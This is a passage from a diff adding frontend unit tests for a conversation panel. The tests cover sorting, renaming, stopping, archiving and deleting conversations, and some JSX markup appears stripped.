+ screen.queryByTestId("conversation-card-archived-chip"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should call onClose after clicking a card", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+ const cards = await screen.findAllByTestId("conversation-card");
+ const firstCard = cards[1];
+
+ await user.click(firstCard);
+
+ expect(onCloseMock).toHaveBeenCalledOnce();
+ });
+
+ it("should refetch data on rerenders", async () => {
+ const user = userEvent.setup();
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockResolvedValue({
+ items: [...mockConversations],
+ next_page_id: null,
+ });
+
+ function PanelWithToggle() {
+ const [isOpen, setIsOpen] = React.useState(true);
+ return (
+ <>
+ setIsOpen((prev) => !prev)}>
+ Toggle
+
+ {isOpen && }
+ >
+ );
+ }
+
+ const MyRouterStub = createRoutesStub([
+ {
+ Component: PanelWithToggle,
+ path: "/",
+ },
+ ]);
+
+ renderWithProviders( );
+
+ const toggleButton = screen.getByText("Toggle");
+
+ // Initial render
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+
+ // Toggle off
+ await user.click(toggleButton);
+ expect(screen.queryByTestId("conversation-card")).not.toBeInTheDocument();
+
+ // Toggle on
+ await user.click(toggleButton);
+ const newCards = await screen.findAllByTestId("conversation-card");
+ expect(newCards).toHaveLength(3);
+ });
+
+ it("keeps invalid timestamps recent and shows older conversations by default", async () => {
+ const now = Date.now();
+ const minutesAgo = (minutes: number) =>
+ new Date(now - minutes * 60 * 1000).toISOString();
+
+ const user = userEvent.setup();
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockReset();
+ searchConversationsSpy
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent Conversation",
+ updated_at: minutesAgo(59),
+ }),
+ createMockConversation({
+ id: "invalid",
+ title: "Invalid Timestamp",
+ updated_at: "invalid-date",
+ }),
+ createMockConversation({
+ id: "missing",
+ title: "Missing Timestamp",
+ updated_at: undefined as unknown as string,
+ }),
+ createMockConversation({
+ id: "older",
+ title: "Older Conversation",
+ updated_at: minutesAgo(61),
+ }),
+ ],
+ next_page_id: "page-2",
+ })
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "paged",
+ title: "Paged Conversation",
+ updated_at: minutesAgo(30),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ expect(await screen.findByText("Recent Conversation")).toBeInTheDocument();
+ expect(screen.getByText("Invalid Timestamp")).toBeInTheDocument();
+ expect(screen.getByText("Missing Timestamp")).toBeInTheDocument();
+ expect(screen.getByText("Older Conversation")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("older-conversations-summary"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("load-more-conversations"));
+
+ await waitFor(() => {
+ expect(searchConversationsSpy).toHaveBeenCalledWith(20, "page-2");
+ });
+ expect(await screen.findByText("Paged Conversation")).toBeInTheDocument();
+ });
+
+ it("orders the entire visible list by created_at when Created sort is selected, across the recent/older partition", async () => {
+ // Arrange: three conversations whose `created_at` ordering diverges
+ // from `updated_at` across the 1-hour partition cutoff. If the panel
+ // honored only the within-bucket sort, "Old Touched" (created 10d ago
+ // but touched 30m ago) would render in the recent bucket *above* the
+ // "Mid Stale" / "Newest Stale" entries that live in the older bucket
+ // but were created more recently. Created-sort must order the whole
+ // visible list by `created_at`, not just within each partition.
+ const now = Date.now();
+ const isoMinutesAgo = (m: number) =>
+ new Date(now - m * 60 * 1000).toISOString();
+ const isoDaysAgo = (d: number) =>
+ new Date(now - d * 24 * 60 * 60 * 1000).toISOString();
+
+ useConversationPanelPreferencesStore.setState({
+ conversationSort: "updated",
+ organizeMode: "chronological",
+ showOlderConversations: true,
+ });
+
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "old-touched",
+ title: "Old Touched",
+ created_at: isoDaysAgo(10),
+ updated_at: isoMinutesAgo(30),
+ }),
+ createMockConversation({
+ id: "newest-stale",
+ title: "Newest Stale",
+ created_at: isoDaysAgo(1),
+ updated_at: isoDaysAgo(1),
+ }),
+ createMockConversation({
+ id: "mid-stale",
+ title: "Mid Stale",
+ created_at: isoDaysAgo(3),
+ updated_at: isoDaysAgo(3),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ const user = userEvent.setup();
+ renderConversationPanel();
+ await screen.findByText("Old Touched");
+
+ // Act: open the filter menu and switch sort to Created.
+ await openAdvancedOptions(user);
+ await user.click(
+ screen.getByRole("menuitemradio", {
+ name: /CONVERSATION_PANEL\$SORT_CREATED/,
+ }),
+ );
+
+ // Assert: rendered cards are in strict created_at desc order across
+ // the full visible list, regardless of which partition they came from.
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards.map((card) => card.textContent ?? "")).toEqual([
+ expect.stringContaining("Newest Stale"),
+ expect.stringContaining("Mid Stale"),
+ expect.stringContaining("Old Touched"),
+ ]);
+ });
+
+ it("should cancel stopping a conversation", async () => {
+ const user = userEvent.setup();
+
+ // Create mock data with a RUNNING conversation
+ const mockRunningConversations: AppConversation[] = [
+ createMockConversation({
+ id: "1",
+ title: "Running Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "2",
+ title: "Starting Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "3",
+ title: "Stopped Conversation",
+ execution_status: ExecutionStatus.PAUSED,
+ }),
+ ];
+
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockResolvedValue({
+ items: mockRunningConversations,
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+
+ // Click ellipsis on the first card (RUNNING status)
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ // Stop button should be available for RUNNING conversation
+ const stopButton = screen.getByTestId("stop-button");
+ expect(stopButton).toBeInTheDocument();
+
+ // Click the stop button
+ await user.click(stopButton);
+
+ // Cancel the stopping action
+ const cancelButton = screen.getByRole("button", { name: /cancel/i });
+ await user.click(cancelButton);
+
+ expect(
+ screen.queryByRole("button", { name: /cancel/i }),
+ ).not.toBeInTheDocument();
+
+ // Ensure the conversation status hasn't changed
+ const updatedCards = await screen.findAllByTestId("conversation-card");
+ expect(updatedCards).toHaveLength(3);
+ });
+
+ it("should stop a conversation", async () => {
+ const user = userEvent.setup();
+
+ const mockData: AppConversation[] = [
+ createMockConversation({
+ id: "1",
+ title: "Conversation 1",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "2",
+ title: "Conversation 2",
+ execution_status: ExecutionStatus.FINISHED,
+ }),
+ createMockConversation({
+ id: "3",
+ title: "Conversation 3",
+ execution_status: ExecutionStatus.FINISHED,
+ }),
+ ];
+
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockImplementation(async () => ({
+ items: mockData,
+ next_page_id: null,
+ }));
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ // Component shows all 3 conversations (no filtering by status)
+ expect(cards).toHaveLength(3);
+
+ // Click ellipsis on the first card (RUNNING status)
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const stopButton = screen.getByTestId("stop-button");
+
+ // Click the stop button
+ await user.click(stopButton);
+
+ // Confirm the stopping action
+ const confirmButton = screen.getByRole("button", { name: /confirm/i });
+ await user.click(confirmButton);
+
+ expect(
+ screen.queryByRole("button", { name: /confirm/i }),
+ ).not.toBeInTheDocument();
+
+ // Verify the mutation was called
+ expect(mockStopConversationMutate).toHaveBeenCalledWith({
+ conversationId: "1",
+ });
+ expect(mockStopConversationMutate).toHaveBeenCalledTimes(1);
+ });
+
+ it("should only show stop button for STARTING or RUNNING conversations", async () => {
+ const user = userEvent.setup();
+
+ const mockMixedStatusConversations: AppConversation[] = [
+ createMockConversation({
+ id: "1",
+ title: "Running Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "2",
+ title: "Starting Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "3",
+ title: "Stopped Conversation",
+ execution_status: ExecutionStatus.PAUSED,
+ }),
+ ];
+
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockResolvedValue({
+ items: mockMixedStatusConversations,
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+
+ const getCardByTitle = async (title: string) => {
+ const currentCards = await screen.findAllByTestId("conversation-card");
+ const card = currentCards.find((candidate) =>
+ within(candidate).queryByText(title),
+ );
+ expect(card).toBeDefined();
+ return card as HTMLElement;
+ };
+
+ // Test RUNNING conversation - should show stop button
+ const runningCard = await getCardByTitle("Running Conversation");
+ const runningEllipsisButton =
+ within(runningCard).getByTestId("ellipsis-button");
+ await user.click(runningEllipsisButton);
+
+ expect(await screen.findByTestId("stop-button")).toBeInTheDocument();
+
+ // Click outside to close the menu
+ await user.click(document.body);
+
+ // Wait for context menu to close before opening the next one.
+ await waitFor(() => {
+ expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+ });
+
+ // Test STARTING/RUNNING conversation - should show stop button
+ const startingCard = await getCardByTitle("Starting Conversation");
+ const startingEllipsisButton =
+ within(startingCard).getByTestId("ellipsis-button");
+ await user.click(startingEllipsisButton);
+
+ expect(await screen.findByTestId("stop-button")).toBeInTheDocument();
+
+ // Click outside to close the menu
+ await user.click(document.body);
+
+ // Wait for context menu to close before opening the next one.
+ await waitFor(() => {
+ expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+ });
+
+ // Test STOPPED conversation - should NOT show stop button
+ const stoppedCard = await getCardByTitle("Stopped Conversation");
+ const stoppedEllipsisButton =
+ within(stoppedCard).getByTestId("ellipsis-button");
+ await user.click(stoppedEllipsisButton);
+
+ await waitFor(() => {
+ expect(stoppedCard).toHaveAttribute("data-context-menu-open", "true");
+ });
+ expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+ });
+
+ it("should show edit button in context menu", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+
+ // Click ellipsis to open context menu
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ // Edit button should be visible within the first card's context menu
+ const editButton = screen.getByTestId("edit-button");
+ expect(editButton).toBeInTheDocument();
+ expect(editButton).toHaveTextContent("BUTTON$RENAME");
+ });
+
+ it("should enter edit mode when edit button is clicked", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Click ellipsis to open context menu
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ // Click edit button within the first card's context menu
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Should find input field instead of title text
+ const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+ expect(titleInput).toBeInTheDocument();
+ expect(titleInput.tagName).toBe("INPUT");
+ expect(titleInput).toHaveValue("Conversation 1");
+ expect(titleInput).toHaveFocus();
+ });
+
+ it("should successfully update conversation title", async () => {
+ const user = userEvent.setup();
+
+ // Mock the updateConversationTitle API call
+ const updateConversationTitleSpy = vi.spyOn(
+ AgentServerConversationService,
+ "updateConversationTitle",
+ );
+ updateConversationTitleSpy.mockResolvedValue(
+ createMockConversation({ id: "1", title: "Updated Title" }),
+ );
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Enter edit mode
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Edit the title
+ const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+ await user.clear(titleInput);
+ await user.type(titleInput, "Updated Title");
+
+ // Blur the input to save
+ await user.tab();
+
+ // Verify API call was made with correct parameters
+ expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+ "1",
+ "Updated Title",
+ );
+ });
+
+ it("should save title when Enter key is pressed", async () => {
+ const user = userEvent.setup();
+
+ const updateConversationTitleSpy = vi.spyOn(
+ AgentServerConversationService,
+ "updateConversationTitle",
+ );
+ updateConversationTitleSpy.mockResolvedValue(
+ createMockConversation({ id: "1", title: "Updated Title" }),
+ );
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Enter edit mode
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Edit the title and press Enter
+ const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+ await user.clear(titleInput);
+ await user.type(titleInput, "Title Updated via Enter");
+ await user.keyboard("{Enter}");
+
+ // Verify API call was made
+ expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+ "1",
+ "Title Updated via Enter",
+ );
+ });
+
+ it("should trim whitespace from title", async () => {
+ const user = userEvent.setup();
+
+ const updateConversationTitleSpy = vi.spyOn(
+ AgentServerConversationService,
+ "updateConversationTitle",
+ );
+ updateConversationTitleSpy.mockResolvedValue(
+ createMockConversation({ id: "1", title: "Updated Title" }),
+ );
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Enter edit mode
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Edit the title with extra whitespace
+ const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+ await user.clear(titleInput);
+ await user.type(titleInput, " Trimmed Title ");
+ await user.tab();
+
+ // Verify API call was made with trimmed title
+ expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+ "1",
+ "Trimmed Title",
+ );
+ });
+
+ it("should revert to original title when empty", async () => {
+ const user = userEvent.setup();
+
+ const updateConversationTitleSpy = vi.spyOn(
+ AgentServerConversationService,
+ "updateConversationTitle",
+ );
+ updateConversationTitleSpy.mockResolvedValue(
+ createMockConversation({ id: "1", title: "Updated Title" }),
+ );
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Enter edit mode
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Clear the title completely
+ const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+ await user.clear(titleInput);
+ await user.tab();
+
+ // Verify API was not called
+ expect(updateConversationTitleSpy).not.toHaveBeenCalled();
+ });
+
+ it("should handle API error when updating title", async () => {
+ const user = userEvent.setup();
+
+ const updateConversationTitleSpy = vi.spyOn(
+ AgentServerConversationService,
+ "updateConversationTitle",
+ );
+ updateConversationTitleSpy.mockRejectedValue(new Error("API Error"));
+ // Provide return type for mock
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Enter edit mode
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Edit the title
+ const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+ await user.clear(titleInput);
+ await user.type(titleInput, "Failed Update");
+ await user.tab();
+
+ // Verify API call was made
+ expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+ "1",
+ "Failed Update",
+ );
+
+ // Wait for error handling
+ await waitFor(() => {
+ expect(updateConversationTitleSpy).toHaveBeenCalled();
+ });
+ });
+
+ it("should close context menu when edit button is clicked", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Click ellipsis to open context menu
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ // Verify context menu is open (portaled to document.body)
+ const contextMenu = screen.getByTestId("context-menu");
+ expect(contextMenu).toBeInTheDocument();
+
+ // Click edit button within the open context menu
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Wait for context menu to close after edit button click.
+ await waitFor(() => {
+ expect(cards[0]).toHaveAttribute("data-context-menu-open", "false");
+ });
+ });
+
+ it("should not call API when title is unchanged", async () => {
+ const user = userEvent.setup();
+
+ const updateConversationTitleSpy = vi.spyOn(
+ AgentServerConversationService,
+ "updateConversationTitle",
+ );
+ updateConversationTitleSpy.mockResolvedValue(
+ createMockConversation({ id: "1", title: "Updated Title" }),
+ );
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Enter edit mode
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Don't change the title, just blur
+ await user.tab();
+
+ // Verify API was NOT called with the same title (since handleConversationTitleChange will always be called)
+ expect(updateConversationTitleSpy).not.toHaveBeenCalledWith("1", {
+ title: "Conversation 1",
+ });
+ });
+
+ it("should handle special characters in title", async () => {
+ const user = userEvent.setup();
+
+ const updateConversationTitleSpy = vi.spyOn(
+ AgentServerConversationService,
+ "updateConversationTitle",
+ );
+ updateConversationTitleSpy.mockResolvedValue(
+ createMockConversation({ id: "1", title: "Updated Title" }),
+ );
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Enter edit mode
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const editButton = screen.getByTestId("edit-button");
+ await user.click(editButton);
+
+ // Edit the title with special characters
+ const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+ await user.clear(titleInput);
+ await user.type(titleInput, "Special @#$%^&*()_+ Characters");
+ await user.tab();
+
+ // Verify API call was made with special characters
+ expect(updateConversationTitleSpy).toHaveBeenCalledWith(
+ "1",
+ "Special @#$%^&*()_+ Characters",
+ );
+ });
+
+ it("should close delete modal when clicking backdrop", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Open context menu and click delete
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+ const deleteButton = screen.getByTestId("delete-button");
+ await user.click(deleteButton);
+
+ // Modal should be visible
+ expect(
+ screen.getByRole("button", { name: /confirm/i }),
+ ).toBeInTheDocument();
+
+ // Click the backdrop (the dark overlay behind the modal)
+ const backdrop = document.querySelector(".bg-black.opacity-60");
+ expect(backdrop).toBeInTheDocument();
+ await user.click(backdrop!);
+
+ // Modal should be closed
+ expect(
+ screen.queryByRole("button", { name: /confirm/i }),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should close stop modal when clicking backdrop", async () => {
+ const user = userEvent.setup();
+
+ // Create mock data with a RUNNING conversation
+ const mockRunningConversations: AppConversation[] = [
+ createMockConversation({
+ id: "1",
+ title: "Running Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "2",
+ title: "Starting Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "3",
+ title: "Stopped Conversation",
+ execution_status: ExecutionStatus.PAUSED,
+ }),
+ ];
+
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: mockRunningConversations,
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // Open context menu and click stop
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+ const stopButton = screen.getByTestId("stop-button");
+ await user.click(stopButton);
+
+ // Modal should be visible
+ expect(
+ screen.getByRole("button", { name: /confirm/i }),
+ ).toBeInTheDocument();
+
+ // Click the backdrop
+ const backdrop = document.querySelector(".bg-black.opacity-60");
+ expect(backdrop).toBeInTheDocument();
+ await user.click(backdrop!);
+
+ // Modal should be closed
+ expect(
+ screen.queryByRole("button", { name: /confirm/i }),
+ ).not.toBeInTheDocument();
+ });
+
+ describe("older conversations cutoff", () => {
+ const recentIso = () => new Date().toISOString();
+ const olderIso = () =>
+ new Date(Date.now() - 8 * 24 * 60 * 60 * 1000).toISOString();
+
+ it("shows conversations older than 1 week and includes a summary line", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "old1",
+ title: "Old 1",
+ updated_at: olderIso(),
+ }),
+ createMockConversation({
+ id: "old2",
+ title: "Old 2",
+ updated_at: olderIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+ expect(screen.getByText("Recent")).toBeInTheDocument();
+ expect(screen.getByText("Old 1")).toBeInTheDocument();
+ expect(screen.getByText("Old 2")).toBeInTheDocument();
+
+ const summary = screen.getByTestId("older-conversations-summary");
+ expect(summary).toHaveTextContent("SIDEBAR$CONVERSATIONS");
+ expect(
+ within(summary).getByTestId("conversation-layouts-toggle"),
+ ).toBeInTheDocument();
+ });
+
+ it("always renders the conversations header with the filter control", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent1",
+ title: "Recent 1",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "recent2",
+ title: "Recent 2",
+ updated_at: recentIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ await screen.findAllByTestId("conversation-card");
+ const summary = screen.getByTestId("older-conversations-summary");
+ expect(summary).toBeInTheDocument();
+ expect(
+ within(summary).getByTestId("conversation-layouts-toggle"),
+ ).toBeInTheDocument();
+ });
+
+ it("shows icons on hide and delete-all filter menu actions", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ // Delete all lives in the layouts menu itself.
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ const deleteAllRow = screen.getByTestId("delete-all-conversations");
+ expect(deleteAllRow.querySelector("svg")).toBeInTheDocument();
+ expect(deleteAllRow).toHaveClass("text-danger");
+ expect(deleteAllRow).not.toHaveClass("text-[var(--oh-foreground)]");
+
+ // The older-conversations toggle lives in the Advanced options modal.
+ await user.click(screen.getByTestId("advanced-options-row"));
+ const hideRow = await screen.findByTestId("toggle-older-conversations");
+ expect(hideRow.querySelector("svg")).toBeInTheDocument();
+ expect(hideRow).toHaveClass("group");
+ });
+
+ it("toggles older conversations visibility via the filter dropdown", async () => {
+ const user = userEvent.setup();
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "old1",
+ title: "Old 1",
+ updated_at: olderIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ let cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(2);
+
+ await openAdvancedOptions(user);
+ let toggle = await screen.findByTestId("toggle-older-conversations");
+ expect(toggle).toHaveAttribute("aria-checked", "false");
+ await user.click(toggle);
+
+ cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(1);
+
+ toggle = await screen.findByTestId("toggle-older-conversations");
+ expect(toggle).toHaveAttribute("aria-checked", "true");
+ await user.click(toggle);
+ cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(2);
+ });
+
+ it("keeps repo/branch metadata hidden by default and toggles it from the filter dropdown", async () => {
+ const user = userEvent.setup();
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "old-with-repo",
+ title: "Old With Repo",
+ updated_at: olderIso(),
+ selected_repository: "openhands/agent-canvas",
+ selected_branch: "main",
+ git_provider: "github",
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+ await screen.findByText("Old With Repo");
+
+ expect(
+ screen.queryByTestId("conversation-card-selected-repository"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-card-selected-branch"),
+ ).not.toBeInTheDocument();
+
+ await openAdvancedOptions(user);
+ await user.click(screen.getByTestId("toggle-repo-branch-metadata"));
+
+ expect(
+ await screen.findByTestId("conversation-card-selected-repository"),
+ ).toHaveTextContent("openhands/agent-canvas");
+ expect(
+ await screen.findByTestId("conversation-card-selected-branch"),
+ ).toHaveTextContent("main");
+ });
+
+ it("delete-all is enabled when no conversations are older than the cutoff and deletes every loaded conversation", async () => {
+ const user = userEvent.setup();
+ const deleteSpy = vi
+ .spyOn(AgentServerConversationService, "deleteConversation")
+ .mockResolvedValue();
+
+ // Fixture: only recent conversations (none older than 1h). Before the
+ // fix the "Delete all" button was disabled in this state.
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent-1",
+ title: "Recent 1",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "recent-2",
+ title: "Recent 2",
+ updated_at: recentIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+ await screen.findAllByTestId("conversation-card");
+
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ const deleteAllButton = await screen.findByTestId(
+ "delete-all-conversations",
+ );
+ expect(deleteAllButton).toBeEnabled();
+
+ await user.click(deleteAllButton);
+ await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+ await waitFor(() => {
+ expect(deleteSpy).toHaveBeenCalledTimes(2);
+ });
+ expect(deleteSpy).toHaveBeenCalledWith("recent-1");
+ expect(deleteSpy).toHaveBeenCalledWith("recent-2");
+ });
+
+ it("delete-all still deletes hidden archived conversations", async () => {
+ // "Show archived" only controls rendering. Delete all must keep using
+ // the full loaded collection so archived server-side conversations are
+ // not silently left behind (or the action disabled when every loaded
+ // row is archived).
+ const user = userEvent.setup();
+ const deleteSpy = vi
+ .spyOn(AgentServerConversationService, "deleteConversation")
+ .mockResolvedValue();
+
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "visible-1",
+ title: "Visible 1",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "archived-1",
+ title: "Archived 1",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "archived-2",
+ title: "Archived 2",
+ updated_at: recentIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ useArchivedConversationsStore.setState({
+ archivesByBackendId: {
+ "default-local": ["archived-1", "archived-2"],
+ },
+ });
+ useConversationPanelPreferencesStore.setState({
+ showArchivedConversations: false,
+ });
+
+ renderConversationPanel();
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(1);
+ expect(screen.getByText("Visible 1")).toBeInTheDocument();
+ expect(screen.queryByText("Archived 1")).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ const deleteAllButton = await screen.findByTestId(
+ "delete-all-conversations",
+ );
+ expect(deleteAllButton).toBeEnabled();
+
+ await user.click(deleteAllButton);
+ expect(
+ await screen.findByText(/CONVERSATION\$CONFIRM_DELETE_ALL_DESC/),
+ ).toBeInTheDocument();
+ await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+ await waitFor(() => {
+ expect(deleteSpy).toHaveBeenCalledTimes(3);
+ });
+ expect(deleteSpy).toHaveBeenCalledWith("visible-1");
+ expect(deleteSpy).toHaveBeenCalledWith("archived-1");
+ expect(deleteSpy).toHaveBeenCalledWith("archived-2");
+ });
+
+ it("navigates away after the active conversation is deleted successfully even when another deletion fails", async () => {
+ const user = userEvent.setup();
+ const navigate = vi.fn();
+ const deleteSpy = vi
+ .spyOn(AgentServerConversationService, "deleteConversation")
+ .mockImplementation(async (conversationId: string) => {
+ if (conversationId === "old2") {
+ throw new Error("delete failed");
+ }
+ });
+
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "old1",
+ title: "Old 1",
+ updated_at: olderIso(),
+ }),
+ createMockConversation({
+ id: "old2",
+ title: "Old 2",
+ updated_at: olderIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ // Active conversation is "old1" — it is among the conversations that
+ // get deleted successfully, so we should navigate away.
+ renderConversationPanel({
